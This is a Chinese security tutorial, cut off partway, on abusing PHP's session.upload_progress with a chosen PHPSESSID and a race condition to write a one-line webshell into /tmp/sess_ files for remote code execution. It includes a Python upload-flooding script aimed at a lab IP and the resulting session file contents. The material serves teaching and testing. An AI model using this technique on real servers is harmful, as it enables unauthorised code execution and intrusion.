
原创稿件征集 邮箱:edu@antvsion.com QQ:3200599554 黑客与极客相关,互联网安全领域里的热点话题漏洞、技术相关的调查或分析,稿件通过并发布还能收获200-800元不等的稿酬。 本文作者:Lxxx
什么是session.upload_progress?与open_basedir
、allow_url_fopen
、allow_url_include
等PHP配置一样,session.upload_progress
也是PHP的一个功能,同样可以在php.ini
中设置相关属性。其中最重要的几个设置如下:
session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
-
session.upload_progress.enabled可以控制是否开启session.upload_progress功能
-
session.upload_progress.cleanup可以控制是否在上传之后删除文件内容
-
session.upload_progress.prefix可以设置上传文件内容的前缀
-
session.upload_progress.name的值即为session中的键值
当我们将session.upload_progress.enabled
的值设置为on时,此时我们再往服务器中上传一个文件时,PHP会把该文件的详细信息(如上传时间、上传进度等)存储在session当中。
问题1:
那么这个时候就会有一个前提条件,就是如何初始化session并且把session中的内容写到文件中去呢?
分析1:
我们可以注意到,php.ini中session.use_strict_mode
选项默认是0,在这个情况下,用户可以自己定义自己的sessionid,例如当用户在cookie中设置sessionid=Lxxx
时,PHP就会生成一个文件/tmp/sess_Lxxx
,此时也就初始化了session,并且会将上传的文件信息写入到文件/tmp/sess_Lxxx
中去,具体文件的内容是什么,后面会写到。
问题2:
当session.upload_progress.cleanup的值为on时,即使上传文件,但是上传完成之后文件内容会被清空,这怎么办?
分析2:
利用Python的多线程,进行条件竞争。
如何利用session.upload_progress进行RCE?然而,理论再多也没用,还是得一步步调试,看看在文件上传的时候,整一个PHP服务端到底发生了什么。所以还是需要做实验。
首先,在网站根目录下随便新建一个test.php文件
然后写一个Python程序用于往服务器上上传文件:
这里有几个注意点:
-
上传的文件大小为50KB,文件名为Lxxx.jpg
-
该程序设置的sessionid为Lxxx,也就是说会在
/tmp
目录下生成sess_Lxxx
文件 -
该程序设置的
PHP_SESSION_UPLOAD_PROGRESS
值为一句话木马,也就是说,在理论上,一句话木马会被写入到/tmp/sess_Lxxx
中
import requests
import io
url = "http://192.168.2.128/test.php"
sessid = "Lxxx"
def write(session):
filebytes = io.BytesIO(b'a' * 1024 * 50)
while True:
res = session.post(url,
data={
'PHP_SESSION_UPLOAD_PROGRESS': ""
},
cookies={
'PHPSESSID': sessid
},
files={
'file': ('Lxxx.jpg', filebytes)
}
)
if __name__ == "__main__":
with requests.session() as session:
write(session)
执行程序后,我们需要用tail -f
命令实时查看/tmp/sess_Lxxx
文件,因为在本地测试速度比较快,如果使用cat命令,文件内容还没输出就被删除了。
tail -f /tmp/sess_Lxxx
结果如下:
也就是说,/tmp/sess_Lxxx
文件中的内容为:
upload_progress_|a:5:{s:10:"start_time";i:1631343214;s:14:"content_length";i:276;s:15:"bytes_processed";i:276;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"Lxxx.jpg";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1631343214;s:15:"bytes_processed";i:276;}}}
仔细分析一下该文件内容,该文件分为两块,以竖线|
区分。
第一块内容如下:
upload_progress_
这一块内容由以下两个值组成:session.upload_progress.name
+PHP_SESSION_UPLOAD_PROGRESS
第二块内容如下:
a:5:{s:10:"start_time";i:1631343214;s:14:"content_length";i:276;s:15:"bytes_processed";i:276;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"Lxxx.jpg";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1631343214;s:15:"bytes_processed";i:276;}}}
一看就是序列化之后的值,我们将其进行反序列化后输出:
array(5) {
["start_time"]=>
int(1631343214)
["content_length"]=>
int(276)
["bytes_processed"]=>
int(276)
["done"]=>
bool(false)
["files"]=>
array(1) {
[0]=>
array(7) {
["field_name"]=>
string(4) "file"
["name"]=>
string(8) "Lxxx.jpg"
["tmp_name"]=>
NULL
["error"]=>
int(0)
["done"]=>
bool(false)
["start_time"]=>
int(1631343214)
["bytes_processed"]=>
int(276)
}
}
}
可以看到这里记录了文件上传时间、文件大小、文件名称等等文件属性。
接下来在网站根目录新建一个test.php文件,文件内容如下:
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?


微信扫码登录